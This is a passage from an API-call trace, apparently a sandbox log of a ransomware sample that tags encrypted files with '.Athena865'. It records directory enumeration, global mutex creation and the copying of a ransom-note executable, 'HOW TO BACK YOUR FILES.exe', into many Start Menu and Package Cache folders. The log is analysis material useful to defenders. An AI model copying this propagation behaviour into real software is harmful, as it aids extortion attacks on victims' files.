ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x71380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe.Athena865", cAlternateFileName="VCREDI~1.ATH")) returned 0 [0103.081] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.081] ReleaseMutex (hMutex=0xec) returned 1 [0103.081] CloseHandle (hObject=0xec) returned 1 [0103.081] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0103.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c4c8 | out: hHeap=0x4f0000) returned 1 [0103.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad20 | out: hHeap=0x4f0000) returned 1 [0103.082] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 88 [0103.082] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\14FF48BEC120E93476A7A3ACEEEA82A1") returned 0xec [0103.082] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.082] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0103.082] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.082] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.082] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.083] GetLastError () returned 0x0 [0103.083] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.083] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.083] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xe2c059a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2c059a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.084] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.084] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.084] lstrcpyW (in: lpString1=0x241e8fa, lpString2="state.rsm.Athena865" | out: lpString1="state.rsm.Athena865") returned="state.rsm.Athena865" [0103.084] lstrlenW (lpString="state.rsm.Athena865") returned 19 [0103.084] lstrlenW (lpString="Athena865") returned 9 [0103.084] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.084] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xe2c059a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf130, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x86.exe.Athena865", cAlternateFileName="VC_RED~1.ATH")) returned 1 [0103.084] lstrcmpiW (lpString1="VC_redist.x86.exe.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.084] lstrcmpiW (lpString1="VC_redist.x86.exe.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.084] lstrcpyW (in: lpString1=0x241e8fa, lpString2="VC_redist.x86.exe.Athena865" | out: lpString1="VC_redist.x86.exe.Athena865") returned="VC_redist.x86.exe.Athena865" [0103.084] lstrlenW (lpString="VC_redist.x86.exe.Athena865") returned 27 [0103.084] lstrlenW (lpString="Athena865") returned 9 [0103.084] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.084] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xe2c059a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf130, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x86.exe.Athena865", cAlternateFileName="VC_RED~1.ATH")) returned 0 [0103.084] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.084] ReleaseMutex (hMutex=0xec) returned 1 [0103.084] CloseHandle (hObject=0xec) returned 1 [0103.084] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0103.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b2e0 | out: hHeap=0x4f0000) returned 1 [0103.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad38 | out: hHeap=0x4f0000) returned 1 [0103.084] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 99 [0103.084] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\43B31CF9B729094D507B3FF2BE2E3472") returned 0xec [0103.085] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.085] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0103.085] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.085] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.085] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.085] GetLastError () returned 0x0 [0103.086] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.086] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.086] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.087] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.087] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.087] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.087] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.087] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2cc4080, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2cc4080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.087] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.087] ReleaseMutex (hMutex=0xec) returned 1 [0103.087] CloseHandle (hObject=0xec) returned 1 [0103.087] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\All Users\\Start Menu\\Programs") returned="C:\\Documents and Settings\\All Users\\Start Menu\\Programs" [0103.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d930 | out: hHeap=0x4f0000) returned 1 [0103.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6e0 | out: hHeap=0x4f0000) returned 1 [0103.088] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Start Menu\\Programs") returned 55 [0103.088] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5FCB857523FCA02A202D3AD0660E9230") returned 0xec [0103.088] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.088] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Start Menu\\Programs" | out: lpString1="C:\\Documents and Settings\\All Users\\Start Menu\\Programs") returned="C:\\Documents and Settings\\All Users\\Start Menu\\Programs" [0103.088] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.088] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.088] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.089] GetLastError () returned 0x0 [0103.089] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.089] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.089] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2f97aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2f97aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.090] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.090] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.090] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0103.090] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0103.090] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0103.090] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.090] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe2cea1e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2cea1e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0103.090] lstrcmpiW (lpString1="Administrative Tools", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.090] lstrcmpiW (lpString1="Administrative Tools", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.091] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Administrative Tools" | out: lpString1="Administrative Tools") returned="Administrative Tools" [0103.091] lstrcatW (in: lpString1="Administrative Tools", lpString2="\\" | out: lpString1="Administrative Tools\\") returned="Administrative Tools\\" [0103.091] lstrcatW (in: lpString1="Administrative Tools\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Administrative Tools\\HOW TO BACK YOUR FILES.exe") returned="Administrative Tools\\HOW TO BACK YOUR FILES.exe" [0103.091] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Administrative Tools\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\administrative tools\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.091] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe2d10340, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk.Athena865", cAlternateFileName="ADOBER~1.ATH")) returned 1 [0103.091] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.091] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.091] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Adobe Reader X.lnk.Athena865" | out: lpString1="Adobe Reader X.lnk.Athena865") returned="Adobe Reader X.lnk.Athena865" [0103.091] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0103.091] lstrlenW (lpString="Athena865") returned 9 [0103.091] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.091] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0103.091] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.092] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.092] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.092] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.092] lstrlenW (lpString="Athena865") returned 9 [0103.092] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.092] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe2d5c600, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2d5c600, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0103.092] lstrcmpiW (lpString1="Games", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.092] lstrcmpiW (lpString1="Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.092] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Games" | out: lpString1="Games") returned="Games" [0103.092] lstrcatW (in: lpString1="Games", lpString2="\\" | out: lpString1="Games\\") returned="Games\\" [0103.092] lstrcatW (in: lpString1="Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Games\\HOW TO BACK YOUR FILES.exe") returned="Games\\HOW TO BACK YOUR FILES.exe" [0103.092] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.092] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe2e1ace0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk.Athena865", cAlternateFileName="GOOGLE~1.ATH")) returned 1 [0103.092] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.093] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.093] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Google Chrome.lnk.Athena865" | out: lpString1="Google Chrome.lnk.Athena865") returned="Google Chrome.lnk.Athena865" [0103.093] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0103.093] lstrlenW (lpString="Athena865") returned 9 [0103.093] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.093] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c86a00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.093] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.093] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe2e40e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2e40e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0103.093] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.093] lstrcmpiW (lpString1="Java", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.093] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Java" | out: lpString1="Java") returned="Java" [0103.093] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0103.093] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0103.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.094] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2e40e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2e40e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0103.094] lstrcmpiW (lpString1="Maintenance", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.094] lstrcmpiW (lpString1="Maintenance", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.094] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Maintenance" | out: lpString1="Maintenance") returned="Maintenance" [0103.094] lstrcatW (in: lpString1="Maintenance", lpString2="\\" | out: lpString1="Maintenance\\") returned="Maintenance\\" [0103.094] lstrcatW (in: lpString1="Maintenance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Maintenance\\HOW TO BACK YOUR FILES.exe") returned="Maintenance\\HOW TO BACK YOUR FILES.exe" [0103.094] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Maintenance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\maintenance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.094] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xe2e66fa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Center.lnk.Athena865", cAlternateFileName="MEDIAC~1.ATH")) returned 1 [0103.094] lstrcmpiW (lpString1="Media Center.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.094] lstrcmpiW (lpString1="Media Center.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.094] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Media Center.lnk.Athena865" | out: lpString1="Media Center.lnk.Athena865") returned="Media Center.lnk.Athena865" [0103.094] lstrlenW (lpString="Media Center.lnk.Athena865") returned 26 [0103.095] lstrlenW (lpString="Athena865") returned 9 [0103.095] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.095] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: 